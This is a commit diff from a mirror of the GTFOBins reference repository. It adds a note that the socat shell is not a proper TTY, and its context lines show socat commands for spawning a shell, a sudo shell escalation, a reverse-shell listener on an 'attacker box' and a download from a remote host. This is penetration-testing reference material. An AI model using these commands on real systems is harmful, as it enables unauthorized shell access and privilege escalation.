1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00

Add note about socat shell

This commit is contained in:
Andrea Cardaci 2020-05-13 19:41:28 +02:00
parent 4e4b61a65a
commit 42fa84a08a

View File

@ -1,7 +1,8 @@
---
functions:
shell:
- code: |
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
socat stdin exec:/bin/sh
reverse-shell:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
@ -29,7 +30,8 @@ functions:
LFILE=file_to_save
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
sudo:
- code: |
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
sudo socat stdin exec:/bin/sh
limited-suid:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.